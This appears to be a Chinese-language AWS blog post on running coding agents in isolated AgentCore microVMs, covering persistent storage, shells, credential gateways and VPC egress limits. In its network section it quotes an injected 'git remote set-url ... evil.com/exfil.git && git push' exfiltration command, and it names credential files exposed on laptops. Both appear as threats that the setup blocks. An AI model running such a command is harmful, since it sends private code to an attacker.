It’s safe to close your laptop now: Hosting coding agents on Amazon Bedrock AgentCore

现在可以放心地合上笔记本电脑了：在 Amazon Bedrock AgentCore 上托管编码代理 | 人工智能

现在可以放心地合上笔记本电脑了：在 Amazon Bedrock AgentCore 上托管编码代理

有一种习惯正在流行。从一个会议走向另一个会议时，笔记本电脑半开着。在一对一的会议中，笔记本电脑的盖子只稍微打开一点，以保持屏幕亮着。回家的路上，必须一直拿着笔记本电脑，因为它必须一直运行。除了放在桌面上，它不能放在任何地方，因为放在桌面上会导致内部的编码代理（Claude Code、Codex、Kiro、OpenCode、Gemini CLI、Cursor CLI 或开发者自己组合的任何工具）停止运行。Business Insider 上有一篇文章对此进行了报道。

如果剥离这些代理的外壳，它们都需要同样的五样东西：一个 shell、一个文件系统、已检出的项目、已安装的依赖项，以及正确的权限（用于在文件系统上操作，以及网络和外部世界的凭证）。你的笔记本电脑具备这五样东西。但这份清单中并没有提到笔记本电脑。笔记本电脑之所以被选中，是因为它是最近的机器，而不是最合适的机器。

本文的其余部分将探讨选择另一种方式。Amazon Bedrock AgentCore Runtime 为每个会话提供一个专用的环境：一个隔离的 Linux 微虚拟机，具有持久的工作区、真正的 shell 和确定性的命令执行。大多数沙箱产品都提供类似的功能。更难以构建，但 AgentCore 默认提供的是外围系统：一个身份层，使代理以触发它的用户身份运行；一个网关，通过一个模型上下文协议（MCP）端点，为 Claude Code、Codex、Kiro 和其他工具提供相同的工具集（GitHub、Jira、Slack、你自己的服务），并且代理外部持有真实的令牌；以及可观测性，使代理的每一步操作都记录在你团队已经在使用的 Amazon CloudWatch 中。然后，笔记本电脑的盖子就可以合上了。

在本文的结尾，我们将同时将同一个 GitHub 问题提交给 Claude Code、Codex、Kiro 和 Cursor，每个代理都在自己的环境中运行，并根据真正重要的因素对它们进行评分：延迟、美元成本，以及测试是否在第一次尝试时通过。

为什么笔记本电脑不是合适的托管平台

在进入这些内容之前，值得大声说出为什么笔记本电脑从来就不是托管这些代理的合适平台。有四个原因尤为突出。

• 你的笔记本电脑是你受影响的区域。代理共享你的 shell、你的文件系统、你的令牌、你的 VPN 和你加载的 SSH 密钥。一个注入提示的 README 就足够了。

• 秘密与代理编辑的代码相邻。.env 文件、~/.aws/credentials、~/.ssh/id_ed25519，以及那个包含私有注册令牌的 ~/.npmrc：所有这些都可以从代理运行的同一个 shell 中访问。最小权限原则没有被遵循。

• git worktree 是并行处理的半解决方案。同时运行两个代理的标准做法是为两个分支启动两个 worktree，并将每个代理指向其中一个。代理本身完成部分工作。Codex 默认将沙箱限制在工作目录内。Claude Code 在你明确允许之前是只读的。但它们都共享同一台机器，而机器就是它们冲突的地方：本地主机上的同一个 Postgres（localhost:5432）、同一个 :3000（你的开发服务器想要的）、同一个 SSH 密钥环、同一个出站 IP、同一个 ~/.aws/credentials。三个代理在三个分支上运行，它们是三个进程争夺同一个主机。对并行处理的诚实回答不是另一个 worktree。而是每个代理一个专用的机器。

• 笔记本电脑的盖子就是“关机开关”。将笔记本电脑挂起时，代理也会随之挂起。为了开会而关闭盖子，会丢失当前的会话；为了飞行而关闭盖子，会丢失工作空间。半安装的依赖项、部分应用的重构、仍在运行的测试套件，都会随着盖子的关闭而消失。任务时间越长，这种数学计算越糟糕：90分钟的重构或通宵的迁移意味着盖子必须保持打开90分钟或整晚。发布一个功能不应该依赖于笔记本电脑铰链的角度。

开发者和平台团队的需求

如果你是开发者，你想要的是笔记本电脑的体验，但又不受笔记本电脑的限制。同样的代理、同样的 shell、同样的文件系统、同样的即时反馈，但盖子可以关闭，多个代理可以并行运行，工作内容在重启、飞行或长时间的午餐后依然存在。

如果你是平台团队的一员，你想要的始终是那些你一直想要的东西。每个代理都有自己的作用域。流量通过你的虚拟私有云（VPC），而不是公共互联网。身份绑定到公司的身份提供商（IdP），而不是 .env 文件。AWS CloudTrail 记录每一次调用，CloudWatch 跟踪每一次步骤。通过策略层而不是 ~/.netrc 来访问工具。凭证不会存储在大型语言模型（LLM）控制环境的磁盘中。这些都不应是可选的，也不应需要构建。

让我们看看 AgentCore 如何满足这两方面的需求。

带上任意代理。选择任意模型。并行运行它们。

任意代理。你可以托管 Claude Code、Codex、Kiro、OpenCode、Cursor CLI、Gemini CLI、你自己的工具，还可以将任何内容打包成容器或 .zip 文件。将容器推送到 Amazon Elastic Container Registry（Amazon ECR）或直接部署 Python 或 Node.js 项目。你可以将依赖项包含在镜像中：语言运行时、构建工具、git、系统包，或者代理从开发人员机器上需要的任何内容。

任意模型，任意路径。运行时与模型无关。工具选择模型和到达该模型的路径。有三种路径，每种路径都同样优秀：

• 通过 Amazon Bedrock，它托管了 Anthropic 的 Claude 系列，以及最近的 OpenAI 模型，还有 Nova、Llama、Mistral、Qwen、Kimi 等其他模型。

• 直接通过提供商：Anthropic 的 Claude API、OpenAI 的 API、Google、其他提供商或自托管模型仍然可以通过 HTTPS 访问。

• 通过你自己的 LLM 网关，如果你已经标准化了路由、故障转移和成本控制。

在你的 VPC 内，通过 Amazon Bedrock 运行 Claude Code 调用 Opus，或 Codex 调用 GPT 类模型。或者直接使用 OpenCode 调用 Anthropic 或 OpenAI。或者 Kiro 调用网关提供的任何模型。选择符合你安全策略的路径。运行时对此没有偏见。通过 Amazon Bedrock 的路径具有一个特性：提示、令牌和输出不会离开 AWS 网络。这通常是内部安全团队首先询问的特性。

并行运行，而非串行。每个会话都在自己的 Firecracker 微虚拟机中运行。几秒钟内启动 N 个实例。对十个分支运行相同的代理。对同一张工单运行三个不同的代理，看看谁表现更好。对 Opus 上的 Claude Code 与 GPT 类模型上的 Codex 以及 Kiro 在这些模型上的 A/B 测试：相同的提示、相同的仓库、三个独立的内核、三个独立的文件系统，没有 localhost:5432 的冲突。本文最后的 GitHub 仓库提供了一个可运行的脚本，正好实现了这个场景。

将托管容器转变为真实开发环境的四项能力

一个托管容器本身并不是一个工作站。四项能力使其成为工作站。

1. 一个持久的 /mnt/workspace，即使停止和恢复也能保留

托管会话存储（公开预览版）为每个会话提供一个零配置的持久目录。代理写入文件，下次打开时文件仍然存在。node_modules、.git、构建缓存、项目文件、部分应用的重构：所有内容都以代理留下的确切状态可用。当微虚拟机闲置时，文件系统仍然保留。恢复相同的会话 ID，一个新的微虚拟机可以在几毫秒内挂载相同的文件系统。数据在 14 天无活动后仍然保留。

client.create_agent_runtime(
    agentRuntimeName="acme-coding-agent",
    agentRuntimeArtifact={"containerConfiguration": {"containerUri": "..."}},
    filesystemConfigurations=[
        {"sessionStorage": {"mountPath": "/mnt/workspace"}}
    ],
    roleArn="arn:aws:iam::...:role/AgentExecutionRole",
)

就这样。不需要文件监视器同步到 S3，不需要 SIGTERM 刷新逻辑，也不需要 Git 包持久化。（团队已经多次手动构建了这三者。）

在笔记本电脑上工作时，你可以设置环境，使不同的编码代理会话通过 git worktree（参见文档）获得逻辑隔离，即独立的工作目录、共享的仓库历史记录，以及希望没有文件冲突。在 AgentCore 上，隔离是物理的——你可以设置每个代理和会话指向一个隔离的微虚拟机，并拥有自己的 /mnt/workspace，git 仍然是协调层。此外，在 AgentCore 上，你自然可以得到独立的构建缓存、独立的 node_modules，以及在需要时独立的文件系统状态。由于微虚拟机和文件系统本身的额外隔离，不需要管理 worktree。

2. 一个真正的交互式 shell

从 6 月 5 日起，AgentCore Runtime 引入了交互式 shell，用于访问代理会话的终端。agentcore exec --it 现在可以直接打开一个 PTY 支持的 shell 进入正在运行的微虚拟机。颜色、Tab 补全、Ctrl+C、终端调整大小、网络断开后重新连接等功能都内置其中。在远程环境中运行的编码框架开始感觉像你的本地终端。

更有意思的是，当你使用多个终端时可以做什么。打开三个终端，每个连接到不同的微虚拟机，同时观察三个代理并行处理三个分支。"后台"不再是你自己的笔记本电脑，而是由远程隔离环境组成的舰队，每个环境都有自己的内核。

连接并不珍贵。关闭笔记本电脑，明天再打开，重新连接到同一个 shell。每个交互式会话有两个重要的 ID：运行时会话 ID（哪个微虚拟机）和 shell ID（微虚拟机内的哪个 shell）。将这两个 ID 传递给 agentcore exec --it，你就会回到同一个 shell，相同的当前目录，相同的滚动历史记录，无需启动，无需重新克隆。短暂的网络中断会自动重新连接。更长时间的中断会打印出恢复命令，让你在准备好时随时手动重新连接。

# 进入代理的虚拟机
agentcore exec --it --runtime acme-coding-agent --session-id sess-jane-1234

# 稍后重新连接到同一个 shell
agentcore exec --it --session-id sess-jane-1234 --shell-id shell-789

3. 从应用层确定性地执行命令

终端并不是驱动环境的唯一方式。任何可以在 agentcore exec --it shell 中运行的内容，你的应用程序也可以直接运行，而无需中间的 LLM。Harness 完全可以决定何时调用 npm test 以及何时调用 git push，大多数情况下这已经足够。但当操作本身是确定性的（运行测试套件、推送分支、安装依赖项、获取数据集）时，你可以完全跳过模型。InvokeAgentRuntimeCommand 直接将 shell 命令发送到 agent 已经在运行的微虚拟机中，并通过 HTTP/2 流式传输 stdout/stderr。从 CLI 的角度来看，它与你之前用于交互式 shell 的 agentcore exec 命令是一样的，只是没有 --it 参数：

# 一次性、非交互式
agentcore exec --runtime acme-coding-agent --session-id sess-jane-1234 \
  "cd /mnt/workspace && npm test"

无需让模型参与其中，因此也就没有 token 的消耗，也没有关于推送是否发生的概率性决策。代理几秒钟前写入的文件会立即对命令可见。

4. 为技能、缓存和共享工件自定义文件系统

托管会话存储可以覆盖每个会话的持久性。对于跨会话和代理共享的数据（团队的技能库、共享的依赖缓存、之前流水线中的黄金工件），你可以将 Amazon Simple Storage Service（Amazon S3）文件或 Amazon Elastic File System（Amazon EFS）访问点挂载为每个会话中的 POSIX 目录。每个运行时最多支持五次挂载。无需使用 sidecar、挂载辅助工具或 /etc/fstab。你可以将技能放入 S3 文件中，团队中的每个代理在下一次调用时都会在 /mnt/skills 路径下获取它。

filesystemConfigurations=[
    {"sessionStorage": {"mountPath": "/mnt/workspace"}},
    {"s3FilesAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/skills"}},
    {"efsAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/cache"}},
]

安全地处理工具和凭证

一个只能编辑文件的编码代理并不实用。迟早它需要打开一个拉取请求、评论一个 Jira 工单、推送到一个私有仓库、在 Slack 中通知某人。错误的做法是将 GitHub 凭证或其他访问令牌放入 microVM 中的 ~/.netrc 文件中，并希望没人会问。正确的方法是永远不要将它们放在那里。

AgentCore Gateway 是工具目录所在的地方，而 AgentCore Identity 则持有其背后的凭证：AWS Secrets Manager 中的长期有效密钥，以及缓存在其 Token Vault 中的短期令牌。你只需一次注册编码代理所需的工具（GitHub、Jira、Slack、你的构建系统、你自己的 OpenAPI 或 AWS Lambda 服务），Gateway 就会暴露一个单一的 MCP 端点，使用 Claude Code、Codex、Cursor、Kiro 和 OpenCode 已经使用的 Streamable HTTP 传输协议。将 Gateway 集成到 harness 中只需一行 MCP 配置。无需生成 bearer header，也无需粘贴 token：

# Claude Code
claude mcp add agentcore \
  https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp \
  --transport http

# Codex CLI ~/.codex/config.toml
[mcp_servers.agentcore]
url = "https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp"

首次连接时，编码框架会发现网关的认证元数据，并将开发者重定向到您的身份提供者（IdP）以获取同意（3LO），或者展示 AWS Identity and Access Management (IAM)（M2M），以便网关可以对调用者进行认证。从那时起，每次工具调用都会经过网关，身份会为正确的调用者附加合适的下游凭证，并缓存这些凭证，以便在凭证过期前在多次调用中重复使用相同的令牌。三种模式涵盖了大多数编码工作流程。

• 机器人模式，用于自主行动的代理。您创建一个 GitHub 机器人，生成一个作用范围限定在特定仓库的细粒度个人访问令牌（PAT），并在网关的 GitHub MCP 目标上将其注册为 API 密钥凭证。身份将 PAT 存储在令牌保险库中，网关在每次调用时附加该令牌，因此 GitHub 会将机器人视为操作者。

• 代表他人模式，用于以某人身份行动的代理。开发者通过您的 IdP 登录。身份生成一个工作负载访问令牌，并使用 OAuth 2.0 令牌交换（RFC 8693）将其交换为一个 GitHub 范围的令牌，缓存结果在令牌保险库中，网关在每次调用时附加该令牌。PR 会被归因于人类，而不是共享的机器人。同样的流程可以用于您使用相同 IdP 认证的任何下游资源，如 Jira、Slack、Salesforce 或 Confluence。

• 代理模式，用于您希望完全控制凭证流程的情况，例如需要自签名 JWT 的 GitHub 应用安装令牌，或不与您的 IdP 联合的下游服务。您可以将网关目标指向一个 Lambda。Lambda 每次调用时生成或获取凭证，将请求代理到 GitHub，并且永远不会将密钥返回给代理。与前两种模式具有相同的安全属性，同时可以支持遗留和非标准的认证方式。

GitHub MCP 服务器本身有一个操作无法执行：克隆私有仓库。它可以推送文件、评论、打开 PR，并在会话中执行代理需要的所有操作，但它没有克隆操作。初始拉取仍然通过 git 完成，而 git 需要在会话中使用凭证。

为了安全地实现这一点，我们建议将该凭证的权限保持狭窄。例如，使用一个作用范围限定在允许的仓库上的只读内容的细粒度 PAT，或一个绑定到一个仓库的部署密钥。您将其存储在 Secrets Manager 中，由身份凭证提供者保护，会话开始时，运行时通过身份获取该值，仅用于 git clone，之后所有其他 GitHub 操作都通过网关进行。您可以配置 Secrets Manager 按照安全团队要求的周期轮换令牌，并在任何时候在 GitHub 上撤销该令牌。

不过，编码代理实际执行的大多数操作并不是 MCP 工具调用。它们是 npm install、git clone、cargo build、pip install。这些直接与互联网通信的 shell 命令。网关看不到这些流量。底层网络会看到这些流量。托管在 AgentCore Runtime 上的代理可以运行在您的 VPC 内部，这意味着您可以决定从微虚拟机内部来看，“互联网”是什么样子：

• 包安装。代理运行 pip install pandas。您的 Amazon Route 53 私有区域将 pypi.org 解析为您的内部 PyPI 镜像（通过 VPC 端点），或者根本不解析它，迫使代理使用您的 AWS CodeArtifact 存储库。您从未告诉代理使用哪个存储库。您只是让它从其视角来看，只存在一个存储库。

• Git 操作。代理执行 git push origin main。您的安全组允许出站 443 端口连接到 GitHub Enterprise 的 IP 范围，除此之外不允许其他连接。注入的 git remote set-url origin https://evil.com/exfil.git && git push 在 TCP 层失败：SYN 包没有离开子网。

• 构建工具链。代理执行一个多阶段构建，该构建拉取基础镜像、下载编译器，并从六个不同的注册表中获取依赖项。您的 NAT 网关的弹性 IP 地址是唯一的出站路径，而您的 AWS 网络防火墙的域名白名单位于其前面。构建过程与开发人员在笔记本电脑上运行时完全一致，但仅限于您允许的域名。

想了解如何控制代理可以访问的域名，请参阅 控制您的 AI 代理可以访问的域名。

Runtime 和 AgentCore 整体还能为您提供什么

关于 Runtime 还有几点值得注意：

• 从第一天起即可进行审计和可观测性。每次调用都会记录在 AWS CloudTrail 中。每个会话都会将 OpenTelemetry 跟踪发送到 Amazon CloudWatch，同时内置指标（如会话数量、延迟、持续时间、令牌使用量和错误率）也会一并显示在团队已经使用的 CloudWatch GenAI Observability 仪表板中。对于不原生支持 OTel 的工具（如 Claude Code），您可以将 AWS Distro for OpenTelemetry（ADOT）收集器作为容器的边车容器部署，然后该工具可以通过 OpenTelemetry 协议（OTLP）获取本地跟踪，使用 SigV4 进行签名，并将其转发到 AgentCore Observability 和 AWS X-Ray。

• 生命周期与代理实际运行方式相匹配。每个微虚拟机最多可以运行 8 小时，也可以只运行一分钟。当会话空闲时间超过 idleRuntimeSessionTimeout（默认为 15 分钟，但可以配置）时，计算资源会自动关闭。如果您希望提前结束某个会话，StopRuntimeSession 会立即终止微虚拟机。无论哪种情况，/mnt/workspace、S3 文件和 EFS 都会保留在原来的位置。下次调用相同的会话 ID 时，一个新的微虚拟机会挂载相同的文件，代理会从上次停止的地方继续执行。您不需要预先指定 CPU 或内存大小：计费会跟踪实际的 CPU 使用情况（因此 I/O 等待时间不会产生额外费用），并记录到目前为止的滚动峰值内存使用量。并行运行数百个会话，只需为每个会话实际消耗的资源付费。

• 网络配置完全适配您的 VPC。选择 VPC 作为网络模式后，代理会在您的子网中运行，位于您的安全组之后，通过您的私有端点进行访问。S3 文件和 EFS 通过私有 NFS 在同一 VPC 中挂载。对您的 IdP、注册表或网关端点的调用可以全程保持私有。您可以控制代理的网络访问权限，它能看到哪些包注册表，可以推送哪些 Git 远程仓库，构建可以拉取哪些域名。任何超出该范围的内容都会在网络层失败，而不是在应用层。

• 隔离会话支持高级代理模式。一个编码代理不仅仅是一个进程与远程工具通信。大多数代理框架都自带了一些内置工具（如 bash、task、cron、glob），这些工具在代理的环境中本地运行，而且大多数框架都可以启动子代理，用于执行并行研究或将高吞吐量操作与主上下文隔离。在开发者的笔记本电脑上，所有这些功能都堆叠在一个 shell 中。而在 AgentCore Runtime 上，每个会话都是一个独立的微虚拟机，因此内置工具在隔离的环境中执行。子代理继承了与父代理相同的 MCP 配置和环境变量，在自己的上下文中运行，并在完成时将结果返回到主线程。当需要观察时，可以将它们保留在前台；当不需要时，可以将它们推送到后台。还可以将特定的 MCP 服务器（或其中的特定工具）限定到一个子代理上，使它的影响范围与它的任务相匹配。

客户已经在使用这些功能

许多团队已经在 AgentCore 上运行编码和其他类型的代理。

Thomson Reuters 的杰出工程师 Danilo Tommasina 表示：“在 Thomson Reuters，我们正在为高风险的法律工作流程构建代理式 AI 系统。CoCounsel 结合了动态代码生成、可信的专业内容和领域专业知识，帮助客户加速研究、起草和文档分析。CoCounsel AI 助理代理是基于 Claude Agent SDK 构建的，它运行与 Claude Code 相同的执行循环。它托管在 Amazon Bedrock AgentCore 上，为我们提供了支持这些体验所需的可扩展且安全的执行基础设施，使我们的团队能够专注于为客户构建可靠、符合托管人级别标准的 AI 系统。”

然而，我们在本文中讨论的实现模式并不局限于编码代理。Iberdrola 的 IT 运维代理在他们自己的 VPC 内的 AgentCore 上运行 LangGraph 工作负载，Runtime、Identity、Memory 和 MCP 网关执行与编码用例相同的任务。Cox Automotive 的团队在一个月内从没有代理经验发展到具备生产就绪能力，现在在精细的 Identity 管理权限下运行了 17 个代理，他们的开发人员表示，他们专注于业务逻辑而不是基础设施。Druva 的 DruAI 在 Runtime 上协调了 8 到 10 个专门的网络安全代理，Identity 将每个代理（数据、帮助、操作）限定到自己的后端权限，因此平台团队可以在不减缓开发团队速度的情况下实施边界控制。Kollab（中文博客）在其团队 AI 工作空间上使用 AgentCore Runtime，托管的会话存储使每个会话的工作目录在暂停期间保持挂载，因此下一个 Runtime 实例可以从上一个实例停止的地方继续执行，包括那些在每日运行中累积状态的计划任务。Thomson Reuters 的平台工程团队还在 AgentCore 上构建了一个代理式中心，用于自动化云账户配置、数据库补丁和架构审查，首次发布时报告了 15 倍的生产率提升。不同的问题领域，但都受益于相同的平台。

端到端：一组代理并行工作

GitHub 上的配套仓库将本文的其余部分转换为三个可运行的实验。每个实验的启动方式相同：您的应用程序为每个代理调用一次 AgentCore Runtime，每次调用都在自己的微虚拟机（microVM）中运行，然后每个代理在其项目副本上独立工作。三个实验之间的不同之处在于在代理运行时您对它们做了什么。

• Race（竞赛）：谁先修复？选择一个 GitHub 问题，同时交给四个代理，看看谁先解决。每个代理都在自己的 microVM 中运行。完成之后，它们将通过 Gateway 向 GitHub Enterprise 提交 PR。仓库中列出了四个竞争者：Claude Code、Codex CLI、Kiro CLI 和 Cursor CLI。您可以替换其中的任何一个，愿最快的正确修复者获胜。

• Bench（基准测试）：谁修复得最好？相同的设置，但不是宣布一个胜者，而是由脚本对所有代理进行评分。它会将每次运行的延迟、美元成本和测试通过率写入 CSV 文件。您可以根据需要运行尽可能多的模型 × 工具组合。下次有人问“哪个模型最适合我们的代码库”时，您只需重新运行脚本即可。

• Watch（观察）：观察代理的视角。一个长时间运行的重构代理，持续两小时，无人值守。在它运行时，您可以在本地打开终端并运行 agentcore exec --it 命令，针对相同的会话。现在您就进入了与代理相同的 microVM 中。您可以查看日志、读取堆栈跟踪，或者在代理下一次步骤开始时重新读取的文件中添加一条注释。无论哪种方式，您都不会干扰它的循环。

以下是代码中的实现方式：

AGENTS = {
   "claude-code": {
        "name": "Claude Code",
        "config_dir": os.path.join(AGENTS_DIR, "claude-code"),
        "run_cmd": "/app/run.sh {model_flag}'{prompt}'; exit",
        "default_model": "global.anthropic.claude-opus-4-8", # Opus 4.8
    },
    "kiro": {
        "name": "Kiro",
        "config_dir": os.path.join(AGENTS_DIR, "kiro"),
        "run_cmd": "/app/run.sh {model_flag}chat '{prompt}'; exit",
        "default_model": "auto", # Automatic model option from Kiro
    },
   "codex": {
        "name": "Codex",
        "config_dir": os.path.join(AGENTS_DIR, "codex"),
        "run_cmd": "/app/run.sh {model_flag}'{prompt}'; exit",
        "default_model": "openai.gpt-5.5", # GPT 5.5 
    },
    "hermes": {
        "name": "Hermes",
        "config_dir": os.path.join(AGENTS_DIR, "hermes"),
        "run_cmd": "/app/run.sh {model_flag}'{prompt}'; exit",
        "default_model": "global.meta.llama4-maverick-17b-instruct-v1:0", # Llama model
    }
}

然后您可以一次性调用：

client.invoke_agent_runtime_command( 
         agentRuntimeArn=ARN, 
         runtimeSessionId=sid, 
         body={"command": "cd /mnt/workspace && npm test", "timeout": 300}, 
     )

或者在终端中进行交互式调用：

client.invoke_agent_runtime_command_shell( 
         agentRuntimeArn=ARN, 
         runtimeSessionId=sid 
     )

现在您可以看到 Claude Code 在不同模型之间切换：

或者您可以在 Codex 中切换 OpenAI 模型：

但所有乐趣都在于让所有助手互相竞争，通过阅读您的 GitHub 项目问题并思考更好的解决方法。我们测试仓库中的问题 #2 显示了以下错误：

delete_task 中的过滤器使用 t['id'] == task_id（保留匹配项）而不是 t['id'] != task_id（保留不匹配项）。这会颠倒逻辑——调用 delete 会删除除您想要删除的任务之外的所有内容。

现在，让我们将以下文本发送给我们的助手：

使用你的技能，阅读 evandrofranco/my-task-manager 中的 issue #2，然后思考一个理想的解决方案，但不要创建任何 PR，只需展示问题描述和理想的解决方案。

最后，让我们看看它们是如何处理的：

许多标签页，许多窗口，每个都连接到不同的 microVM。笔记本电脑从执行任务转变为帮助你对一组代理进行监督。

关闭笔记本电脑

现在你可以关闭笔记本电脑了。去吃晚饭，带孩子去踢足球，或者去睡觉。你启动的代理仍然在运行，每个都在自己的 microVM 中，每个都通过 Gateway 调用工具，使用平台团队为你设置的身份和 IAM 控制，每一步都被记录在 CloudWatch 中。当你明天打开笔记本电脑时，可以重复使用相同的会话 ID，继续之前的工作，每一个代理都如此。

那个打开的笔记本电脑并不是炫耀。它是一个缺失系统的临时解决方案。你可以带来任何编码代理，带来任何模型。AgentCore 会处理其余部分。

• 附属的 GitHub 仓库

• 代理协助的 SDLC 示例

• AgentCore 运行时文档

• AgentCore Gateway 文档

• AgentCore 身份文档

• AgentCore 可观测性文档

• 定价

现在，把你的笔记本电脑放回包里。

关于作者

'"`